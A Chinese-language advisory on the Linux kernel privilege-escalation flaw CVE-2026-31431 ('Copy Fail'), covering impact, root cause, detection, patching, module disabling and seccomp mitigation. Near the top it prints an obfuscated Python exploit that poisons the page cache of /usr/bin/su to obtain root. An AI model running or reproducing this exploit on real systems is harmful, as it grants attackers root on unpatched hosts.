CVE-2026-31431 Copy Fail:Linux 内核本地提权漏洞风险与缓解
2026 年 4 月底,Linux 内核漏洞 CVE-2026-31431 公开披露,研究团队将其命名为 Copy Fail 。该漏洞影响 Linux kernel 的 crypto/algif_aead 相关逻辑,攻击者在已经获得本地非特权用户执行权限的情况下,可能通过页面缓存写入链路完成本地提权,最终获得 root 权限。
需要先说明:该漏洞不是远程未授权 RCE,不能让互联网上的攻击者直接登录服务器;但它非常适合作为后渗透阶段的权限提升手段。一旦 Web 服务、CI 任务、容器、Notebook、在线判题、沙箱或普通用户账号被拿到执行权限,风险会明显放大。
exp测试
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
1. 漏洞概况
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2026-31431 |
| 漏洞名称 | Copy Fail |
| 漏洞类型 | Linux 内核本地提权 |
| 影响组件 | crypto/algif_aead、AF_ALG、splice() 相关路径 |
| 攻击条件 | 已获得本地非特权代码执行权限 |
| 网络条件 | 不需要网络访问 |
| 权限结果 | 本地用户可能提升到 root |
| CVSS | kernel.org 给出的 CVSS 3.1 为 7.8 High |
NVD 在 2026-04-22 收录该漏洞,截至 2026-04-30,NVD 页面仍显示为 awaiting enrichment,但已经引用了 kernel.org、Copy Fail 官网和公开 issue tracker 等信息。Ubuntu 安全页也将其标记为 High,理由是 trivial local privilege escalation。
2. 影响范围
从公开信息看,该问题与 2017 年引入的 algif_aead in-place 优化有关,因此影响时间跨度很长。研究方表示同一利用思路可在多个主流发行版上触发,包括 Ubuntu、Amazon Linux、RHEL、SUSE 等环境;Debian security tracker 也已经列出多个发行版本的受影响状态。
实际判断时不要只看"内核大版本",应以发行版安全公告和当前安装的内核包为准。很多发行版会对内核做 backport,同一个上游版本号在不同发行版上的修复状态可能不同。
重点关注场景:
-
CI/CD 自托管 runner、Jenkins agent、GitLab runner 等会执行不可信代码的机器
-
云上运行用户代码的平台,例如 Notebook、沙箱、Serverless、在线判题
-
多租户容器宿主机,尤其是容器内代码可触达宿主共享内核的场景
-
已经发生 WebShell、弱口令、RCE 后的 Linux 服务器
-
有多用户登录权限的跳板机、开发机、实验环境
单用户桌面或仅少数管理员可登录的服务器风险相对低一些,但一旦本地代码执行被攻击者拿到,该漏洞就可能成为提权跳板。
3. 原理简述
Copy Fail 的核心在于多个看似正常的内核路径组合后,形成了一个危险的数据流:
-
AF_ALG暴露了用户态访问内核加密 API 的接口。 -
splice()可以把只读文件的 page cache 页面送入相关 scatterlist 链路。 -
algif_aead的 in-place 处理让 source 和 destination 之间的边界变得复杂。 -
authencesn在处理关联数据时存在对目标缓冲区的写入行为。
这些条件叠加后,攻击者可构造让内核把少量数据写入目标文件 page cache 的场景。公开分析中提到的典型目标是 setuid-root 二进制文件,例如 /usr/bin/su。由于修改发生在页面缓存中,磁盘文件本身并不一定被持久修改,但内核后续从 page cache 加载该二进制时,可能执行被临时污染的内容,从而触发本地提权。
修复方向是让 algif_aead 回到 out-of-place 操作,避免 page cache 页面进入可写 destination scatterlist。上游修复提交包含 a664bf3d603d。
4. 是否需要马上处理
如果你的服务器满足下面任意一种情况,建议优先处理:
-
对外业务曾经出现过 Web RCE、文件上传、命令执行或 WebShell 风险
-
服务器上存在普通用户 SSH 登录
-
机器运行了容器、沙箱、CI runner、自动化构建任务
-
机器执行第三方提交的脚本、插件、模型、Notebook 或评测代码
-
你无法保证所有本地用户完全可信
如果是一台完全单用户、没有外部代码执行入口、也没有普通用户登录的机器,风险可以排在远程 RCE、弱口令、暴露管理面之后,但仍建议跟随系统补丁更新内核。
5. 排查思路
先确认当前内核版本和发行版信息:
uname -a
cat /etc/os-release
查看当前是否加载 algif_aead:
lsmod | grep algif_aead
检查系统中是否有进程使用 AF_ALG:
ss -xa | grep -i alg
lsof | grep AF_ALG
以上命令只能辅助判断当前运行状态,不能替代漏洞修复状态判断。最终仍要查看发行版安全公告,确认正在运行的内核包是否包含对应修复。
6. 缓解措施
6.1 首选:升级内核
优先通过发行版官方源升级到包含修复的内核版本。升级后需要重启,确保系统实际运行的是新内核。
Debian/Ubuntu 系:
sudo apt update
sudo apt full-upgrade
sudo reboot
RHEL/CentOS/Rocky/Alma 系:
sudo dnf update kernel
sudo reboot
SUSE 系:
sudo zypper patch
sudo reboot
更新后再次确认:
uname -a
6.2 临时措施:禁用 algif_aead
如果暂时无法升级内核,可以先阻止 algif_aead 模块加载:
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead 2>/dev/null || true
该措施通常不会影响 dm-crypt/LUKS、SSH、普通 OpenSSL/GnuTLS/NSS 使用场景,因为这些常见路径并不依赖用户态通过 AF_ALG 调用 AEAD。但如果系统明确使用 OpenSSL afalg engine、嵌入式加密卸载或直接创建 AF_ALG socket,需要先评估业务影响。
6.3 不可信工作负载:限制 AF_ALG
对容器、沙箱、CI runner、在线判题、Notebook 等不可信代码执行环境,建议通过 seccomp 阻止 AF_ALG socket 创建。即使已经打补丁,这也能减少同类内核攻击面的暴露。
同时建议:
-
避免把自托管 runner 和生产主机混用
-
对 runner、沙箱、构建机做短生命周期重建
-
对容器宿主机保持更快的内核补丁节奏
-
不要让不可信任务共享高价值宿主机
7. 应急建议
如果怀疑攻击者已经获得本地执行权限,应将该漏洞视为可能的提权路径之一。建议:
-
先隔离主机,保留现场
-
导出登录日志、sudo 日志、Web 服务日志和 EDR 告警
-
检查异常 setuid 文件、异常用户、异常计划任务、异常 SSH key
-
检查近期是否有运行不明 Python 脚本、下载执行行为或异常
su调用 -
完成内核升级或临时禁用措施后再恢复业务
需要注意,公开利用方式可能只修改 page cache,不一定会在磁盘文件 hash 上留下稳定痕迹。因此不能只依赖文件完整性校验来排除风险。
8. 总结
CVE-2026-31431 的危险点不在于远程入口,而在于"只要有本地代码执行,就可能迅速变成 root"。对普通服务器而言,它常常是攻击链后半段的问题;对 CI、沙箱、容器和多租户平台而言,它就是需要优先修复的高风险漏洞。
处理优先级建议:
-
能升级内核就先升级,并重启确认新内核运行。
-
暂时无法升级时,禁用
algif_aead。 -
对所有不可信代码执行环境,用 seccomp 限制
AF_ALG。 -
关注发行版公告,确认当前内核包是否已经 backport 修复。
参考链接
-
Copy Fail 官网:https://copy.fail/
-
Xint 技术分析:https://xint.io/blog/copy-fail-linux-distributions
-
Ubuntu 安全公告:https://ubuntu.com/security/CVE-2026-31431
-
Debian Security Tracker:https://security-tracker.debian.org/tracker/CVE-2026-31431
-
Linux stable commit:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5